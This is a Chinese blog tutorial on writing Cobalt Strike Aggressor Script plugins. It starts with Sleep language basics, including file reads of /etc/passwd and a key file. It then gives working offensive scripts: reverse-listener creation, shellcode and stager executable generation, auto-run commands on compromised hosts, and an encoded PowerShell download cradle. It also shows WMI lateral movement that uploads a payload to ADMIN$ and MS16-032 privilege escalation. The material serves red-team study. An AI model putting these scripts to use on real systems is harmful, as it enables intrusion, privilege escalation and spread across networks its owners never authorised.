cs插件开发
之前就有开发cs插件的意向,当时看了文档表示哪里有”老婆”好看就关闭了文档
现在重新打开看了一遍,所以写个笔记
注:本文大量参考先知社区的三篇cs开发文章,文章底部会给出参考链接
首发WBG的git books
背景
agscript是Armitage的开源脚本引擎Cortana的精神继承者。 因为DARPA的Cyber Fast Track计划才使Cortana成了可能。 Cortana支持开发者通过Armitage的团队服务器扩展Armitage并控制Metasploit Framework及其功能。 当然,Cobalt Strike 3.0并不是以Armitage为基础的重写的。 这次大弧度的版本升级是为了重新审视Cobalt Strike,并围绕Cobalt Strike的功能进行重构。 产物就是agscript的诞生。
agscript是一种简单脚本语言,主要用于红队编写针对肉鸡的攻击脚本。 它有两个作用,一是可以用来对自己的肉鸡做持久性控制,二是可以用来扩展或修改Cobalt Strike客户端以满足您的个性化需求。
agscript是以Cobalt Strike 3.0为基础的。 Cobalt Strike 3.0中绝大部分菜单/按钮事件都是由agscript引擎支撑。 Strategic Cyber LLC尚未为Cobalt Strike的大多数功能写API,也就是说,agscript目前仍处于起步阶段。 在未来,我们也期待看到agscript的发展壮大。这份文档也会随着时间的推移而变动。
加载cs脚本
如何加载脚本?agscript内置于Cobalt Strike 客户端,如果需要长期使用agscript,
请移步Cobalt Strike客户端 -> Script Manager and press Load功能。
脚本控制台
Cobalt Strike提供了交互式的脚本控制台。 通过控制台可跟踪,配置,调试以及管理脚本。可以通过View- > Script Console获得进入agscript控制台。
基础命令:
命令行使用Cobalt Strike
(注意:cmd得进入到agscript的路径里,否则会出现无法加载主体的情况)您也许会希望在在没有GUI的情况下启动Cobalt Strike,客户端压缩包中的agscript这个脚本文件能够满足您的需求,连接命令:
./agscript [host] [port] [user] [password]
远程连接cs并执行脚本
./agscript [host] [port] [user] [password] [/path/to/script.cna]
test.cna
on ready {
println("Hello cs");
closeClient();
}
Sleep语言基础
agscript是基于Raphael Mudge的Sleep语言的二次开发的。
原手册见:http://sleep.dashnine.org/manual
注释符: #
Sleep能做的agscript都能做,下面是一些注意事项:Sleep的语法,运算符甚至俚语都与Perl极其类似,简单说一个他们的区别,Sleep需要的语句之间需要有空格,以下代码无效:(关键:但凡你少一个空格都能给你报错或者不输出,例如:println(“a=>$a”),他不会给你输出出来)
$x=1+2; # 错误
$x = 1+2; #正确
错误例子:
正确例子:
Sleep的变量有标量,字符串,各自类型的数字,Java对象引用,函数,数组以及字典等。
以下是Sleep中的常见的几种变量:
$x = "Hello World";
$y = 3;
$z = @(1, 2, 3, "four"); #数组
$a = %(a = > "apple", b = > "bat", c = > "awesome language", d = > 4); #字典
Sleep会插入双引号的字符串,这意味着以\$符号开头的任何以空格分隔的标记都将替换为其值。
特殊变量$+将插字符串与另一个值连接起来。
println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");
有一个和println类似的函数叫warn,不同的是warn输出的内容中包含了当前代码的文件名和行数
一般用于调试错误
使用sub字符即可声明函数,传给函数的参数标记为$1,$2,一直到$n。函数可以接受无数个参数。
变量@是一个包含所有参数的数组,$1,$2等变量的更改将改变@的内容。
sub addTwoValues {
println($1 + $2);
}
addTwoValues("3", 55.0);
字典的使用
on ready {
$x = 3;
%foo["name"] = "Raphael";//这tm还能自己创建一个字典
%foo["job"] = "wasting time";
%foo[$x] = "Michelangelo";
println("%foo is: " . %foo);
foreach $data (keys(%foo)){
//遍历字典 println("$data =>".%foo[$data]);
}
closeClient();
}
遍历字典第二个方法
foreach $key = > $value (%foo) {
println("$key => $value");
}
删除字典的某个key
on ready {
$x = 3;
%a = %(data = > "aaa", data2 = > "bbbb");
removeAt(%a, "data");
#或者删除多个key可以这么写 removeAt(%a, "data", "data2");
println(%a);
closeClient();
}
数组的增、删、改、查
on ready {
$x = 3;
$a = @("data");
add($a, "wYYYYYYYYYYYYYYYYYYYYYYYY", - 1); #数组添加,默认在tm,0位前添加, 需要自己指定位置
println($a);
println($a[ - 1]);#查询
closeClient();
}
#数组遍历
on ready {
$data = @(1, 2, 3, 4, 5, 6, 7, 8);
foreach $index ($data) {
println($index);
}
closeClient();
}
on ready {
$x = 3;
$a = @("data");
add($a, "wYYYYYYYYYYYYYYYYYYYYYYYY", - 1); #数组添加,默认在tm,0位前添加, 需要自己指定位置 println($a);
remove($a, - 1, "data");//得指定删除的内容。。。
println($a);
closeClient();
}
逻辑判断
(and->&&,or->|,true,false)
on ready {
$x = 3;
if ($x == 3) {
println(1);
}
closeClient();
}
判断是不是数组之类的操作
on ready {
$data = @("data");
if (! - isnumber $data) {
println(1);
}
closeClient();
}
循环
sub range {
# Returns a new function that returns the next number in the # range with each call. Returns $null at the end of the range # Don't worry, closures will come in the next chapter :)
return lambda( {
return iff($begin <= $end, $begin++ - 1, $null);
}, $begin = > $1, $end = > $2);
}
on ready {
foreach $value (range(1, 10)) {
println($value);
}
closeClient();
}
字符串处理
$a = "data"."data";#字符串的拼接 #字符串替换
on ready {
$a = "data"."data";
$a = replace($a, "data", "Fk");
println($a);
closeClient();
}
#获取字符串长度
$data = "dataing";
println(strlen($data));
#获取字符串指定位置
$data = "dataing";
println(substr($data, 0, 3));
#字符串指定内容替换成数组 (函数奇葩的要命,草)
$a = "data".".data";
$b = split('.', $a);
println($b);
#数组转字符串
println(join('|', @("ape", "bat", "cat", "dog")));
判断一个字符串是否在数组里
$data = @("abc", "bqe");
$str = "abc";
if ($str in $data) {
println(111);
}
文件读写
逐行读取文件
$handle = openf("/etc/passwd");
while $text (readln($handle)) {
println("Read: $text");
}
一次性读完
$handle = openf("/path/to/key.pem");
$keydata = readb($handle, - 1);
closef($handle);
写入文件
$handle = openf(">data.txt");
println($handle, "this is some data.");
closef($handle);
写入文件方法2
$handle = openf(">out.txt");
writeb($handle, $data);
closef($handle);
更多操作参考文档
CS开发 - 命令快捷键
command test {
println("value: $1");
}
CS开发 - 控制台颜色设置
如果你想给Cobalt Strike的控制台添加一些色彩,通过\c,\U和\o转义即可告诉Cobalt Strike如何格式化文本。 值得提醒的是这些转义仅在双引号字符串内有效。\cX就是告诉Cobalt Strike你想输出什么颜色,X是颜色的值
U是告诉控制台添加下划线,\o则是重置这些花里胡哨的东西。
CS开发 - 快捷键绑定
bind Ctrl + H {
show_message("DIO");
}
快捷键可以是任何ASCII字符或特殊键,快捷方式可能会应用一个或多个修饰符,修饰符修饰符仅为以下几个特定按键:Ctrl,Shift,Alt,Meta。脚本可以指定修饰符+键。
按Ctrl+H效果如下
CS开发 - 弹出菜单
popup help {
item("&blog", {
url_open("https://422926799.github.io");
}
);
item("&System Information", {
openSystemInformationDialog();
}
);
}
添加子菜单
popup help {
item("&blog", {
url_open("https://422926799.github.io");
}
);
menu "&Testing" {
#Testing菜单下会有blog
item("&blog", {
url_open("https://422926799.github.io");
}
);
}
}
CS开发 - 自定义输出
set EVENT_SBAR_LEFT {
return "[" . tstamp(ticks()) . "] " . mynick();
}
set EVENT_SBAR_RIGHT {
return "[lag: $1 $+ ]";
}
上面的代码定义了Cobalt Strike的事件日志(View -> Event Log)中状态栏的内容,此状态栏的左侧显示当前时间和您的昵称,右侧显示了Cobalt Strike客户端和团队服务器之间的消息往返时间。Cobalt Strike中默认的各种设置都可以通过统一的方法来修改覆盖
测试了一下貌似并没有什么变化
CS开发 - 事件管理
使用on这个关键字可以为事件定义处理程序,当Cobalt Strike连接到团队服务器并准备代表您行动时,就绪事件将触发
on ready {
show_message("舰长,我的狐狸耳朵,喜欢吗?");
}
使用* meta-event可查看再Cobalt Strike中发生的所有事件。
on * { #加载脚本的时候就运行
local('$handle $event $args');
$event = shift(@_);
$args = join(" ", @_);
$handle = openf(">>eventspy.txt");
writeb($handle, "[ $+ $event $+ ] $args");
closef($handle);
}
CS数据模型
调用这些函数会返回一个模型中每个条目的数组,每行对于的是一个字典,字典中包含了键与其键值。
CS开发 - 监听器信息
agscript会收集来自连接到的当前团队服务器的监听器的信息,这样做的好处是可以轻松地将会话转移给另一台团队服务器,想要获取所有监听器名称的列表可以使用&listeners函数,只使用本地侦听器的话用&listeners_local函数,&listener_info函数可将监听器名称解析为其配置信息
command list {
println("监视器");
println("------------------------------------------------------");
foreach $listener (listeners()) {
println("name: $listener");
println("---------- $listener --------------");
%data = listener_info($listener);
foreach $key = > $value (%data) {
println("$key => $value");
}
println("");
println("");
}
}
监听器常用的函数:
简单的做一个插件
command list{
println("监视器");
println("------------------------------------------------------");
foreach $listener (listeners()){
println("name: $listener");
println("---------- $listener --------------");
%data = listener_info($listener); #解析监听器获取监听器详细信息
foreach $key => $value (%data){
println("$key => $value");
}
println("");
println("");
}
}
command list_create{
$name = $1;
$payload = $2;
$host = $3;
$port = $4;
$beacons = $5;
$payloads = @("windows/beacon_dns/reverse_dns_txt", "windows/beacon_http/reverse_http", "windows/beacon_http/reverse_https", "windows/beacon_bind_pipe", "windows/beacon_bind_tcp", "windows/beacon_extc2", "windows/foreign/reverse_http", "windows/foreign/reverse_https");
if ((strlen($name) > 0) && (strlen($payload) > 0) && (strlen($host) > 0) && (strlen($port) > 0) && (strlen($beacons) > 0)){
if($payload in $payloads){
listener_create($name, $payload, $host, $port, $beacons); #新建监听器
println("create listen sucess:");
println("Listen_name: $name");
println("payload: $payload");
println("host: $host");
println("port: $port");
println("beacons: $beacons");
}else{
println("\c5Not Found payload:".$payload);
println("payload->");
foreach $p ($payloads){
println("$p");
}
}
}else{
println("list_create <listen_name> <payload> <host> <port> <beacons>");
println("\c8Multiple bacons are separated by commas");
println("Example:list_create test3 windows/beacon_http/reverse_http 192.168.1.108 9090 192.168.1.108");
println("\c8Supported payload:");
foreach $p ($payloads){
println($p);
}
}
}
command list_del{
$name = $1;
if(strlen($name) > 0){
if ($name in listeners()){
listener_delete($name);
println("del listen: $name Sucess"); #删除监听器
}else{
println("\c5Not found listen name:".$name);
println("list listen:")
foreach $n (listeners()){
println($n);
}
}
}else{
println("list_del <listen_name>");
println("Example:list_del test3");
}
}
效果如下
监听器查询
监听器创建
监听器删除
监听器选择
示例代码有个用UI创建监听器的
item "&Spawn" {
openPayloadHelper(lambda({
binput($bids, "spawn $1"); #在指定的机器上执行指定的操作(子 进 程)
bspawn($bids, $1); #要求信标产生一个新的会话
}, $bids => $1));
}
修改
popup beacon_bottom{
item "&NewSpawn" {
openPayloadHelper(lambda({
binput($bids, "spawn $1");
bspawn($bids, $1);
}, $bids => $1));
}
}
从上线的机器里在上线,就是spawn的功能
CS开发 - shellcode生成
command shellcode_create{
$listenname = $1;
$handle = $2;
$arch = $3;
if((strlen($listenname) > 0) && (strlen($handle) > 0) && (strlen($arch) > 0)){
println("Arch: $arch");
println("listen name: $listenname");
println("handle: $handle");
$data = shellcode($listenname, $handle, $arch);
$dk = openf(">shellcode.bin");
writeb($dk, $data);
closef($dk);
println("create shellcode.bin sucess");
}else{
println("shellcode_create <listenname> <remote_host> <arch>");
}
}
CS开发 - exe/dll开发
分段马生成
command payload_create{
$filename = $1;
$listenname = $2;
$format = $3;
$arch = $4;
if((strlen($filename) > 0) && (strlen($listenname) > 0) && (strlen($format) > 0) && (strlen($arch) > 0)){
$data = artifact_stager($listenname, $format, $arch);
$dk = openf(">$filename");
writeb($dk, $data);
closef($dk);
println("create payload: $filename Sucess");
}else{
println("payload_create <payload_create> <listenname> <format> <arch>");
}
}
分段马生成
sub ready {
local('$handle');
$handle = openf(">beacon.exe");
writeb($handle, $1);
closef($handle);
}
artifact_stageless("my listener", "exe", "x86", "", &ready);
还有powershell生成之类的,就不写了
CS开发 - beacon信息获取
command beacons{
foreach $entry (beacons()){
println("=========ip:\c9".$entry["external"]."\o========="."user:\c9".$entry["user"]."\o========="."pid:\c9".$entry["pid"]."\o========="."arch:\c9".$entry["arch"]."\o========="."computer:\c9".$entry["computer"]);
foreach $key => $value ($entry){
println("$key => $value");
}
println("");
}
}
CS开发 - 处理新的beacons会话
为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的功能
on beacon_initial{
binput($1, "shell whoami");
}
新机器一上线就会自动执行这个函数里的功能
CS开发 - beacon操控
alias
类似于在agscript控制台定义命令的command一样,不过alias是给beacon控制操控的
alias test{
bshell!($1, "whoami");
}
已上线的机器右键菜单
popup beacon_bottom{
item "query user"{
prompt_text("Query User", "administrator", lambda({
bshell(@ids, "net user ".$1);
}, @ids => $1));
}
}
询问框框等的常见操作,可以参考文档里的这里:https://www.cobaltstrike.com/aggressor-script/functions.html#prompt_text
右键菜单(子菜单/多菜单)
popup beacon_bottom{
menu "test"{
item "query user"{
prompt_text("Query User", "administrator", lambda({
bshell($ids, "net user ".$1);
}, $ids => $1));
}
item "run command"{
prompt_text("Run command", " ", lambda({
bshell($ids, $1);
}, $ids => $1));
}
}
}
文件上传
这里的文件上传,要么把要上传的文件放到当前插件的目录。要么用bcd切换工作目录,在进行bupload
alias uploadtest{
bupload($1, script_resource("calc.exe"));
bmv($1, "calc.exe", "C:\\Temp\\dio.exe"); #上传的文件移动到指定的路径
}
task
用于叙述任务
alias task{
btask($1, "This is Task,so ?");
bshell($1, "echo this is task");
}
CS开发 - 官方案例
已有指令覆盖
Aliases添加的快捷指令可以覆盖已存在的命令,直接看一个覆盖内置powershell指令
alias powershell {
local('$args $cradle $runme $cmd'); #定义变量
# $0 is the entire command with no parsing.
$args = substr($0, 11); #$0是获取输入的原始指令,使用substr函数获取第十一个字符之后的字符串("powershell"十个字符串加一个空格)
# generate the download cradle (if one exists) for an imported PowerShell script
$cradle = beacon_host_imported_script($1); #将马子放到web,用于准备下载执行
# encode our download cradle AND cmdlet+args we want to run
$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") ); #将命令和脚本base64编码,这里编码成utf-16是因为powershell的base64默认编码是utf-16的
# Build up our entire command line.
$cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \""; #拼接指令
# task Beacon to run all of this.
btask($1, "Tasked beacon to run: $args", "T1086"); #任务描述
beacon_execute_job($1, "powershell", $cmd, 1); #使用beacon_execute_job函数执行命令并返回结果给Beacon
}
横向移动
alias wmi-alt {
local('$mydata $myexe');
# check if our listener exists
if (listener_info($3) is $null) {
berror($1, "Listener $3 does not exist");
return;
}
# generate our executable artifact
$mydata = artifact($3, "exe", true); #马子生成
# generate a random executable name
$myexe = int(rand() * 10000) . ".exe"; #随机名称
# state what we're doing.
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI", "T1047");
# upload our executable to the target
bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata); #文件上传到目标
# use wmic to run myexe on the target
bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \""); #wmic运行上传的马子
# complete staging process (for bind_pipe listeners)
bstage($1, $2, $3); #已删除此功能在Cobalt Strike 4.0中已删除。 使用&beacon_stage_tcp或&beacon_stage_pipe显式暂存有效负载。 使用&beacon_link链接到它。
}
提权
sub ms16_032_exploit {
local('$script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");
# generate a PowerShell script to run our Beacon listener
$script = artifact($2, "powershell"); #根据指定的监听器生成马子内容
# host this script within this Beacon
$oneliner = beacon_host_script($1, $script); #将马子放到web,用于准备下载执行
# task Beacon to run this exploit with our one-liner that runs Beacon
bpowershell_import!($1, script_resource("Invoke-MS16032.ps1")); #导入powershell脚本
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \""); #生成一个新的进程注入powershell脚本
# handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
bstage($1, $null, $2);
}
远程主机powershell使用例子
beacon_host_script重新说明一下:用于将指定的powershell脚本/内容,放到web。生成远程调用命令
bpowerpick:在目标机执行powershell command
alias test{
$path = "test.ps1";
$script = "wmic process call create calc";
$oneliner = beacon_host_script($1, $script); #将马子放到web,用于准备下载执行
bpowerpick($1, $oneliner); #新开进程注入powershell脚本
}
参考链接
https://xz.aliyun.com/t/5887 CobaltStrike插件开发官方指南 Part1
https://xz.aliyun.com/t/5892 CobaltStrike插件开发官方指南 Part2
https://xz.aliyun.com/t/6188 CobaltStrike插件开发官方指南 Part3
https://www.cobaltstrike.com/aggressor-script cs官方开发文档
http://sleep.dashnine.org/manual sleep官方文档
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:cs插件开发
本文作者:九世
发布时间:2020-08-12, 10:23:20
最后更新:2020-08-12, 18:05:50
原始链接:http://jiushill.github.io/posts/e5e87074.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。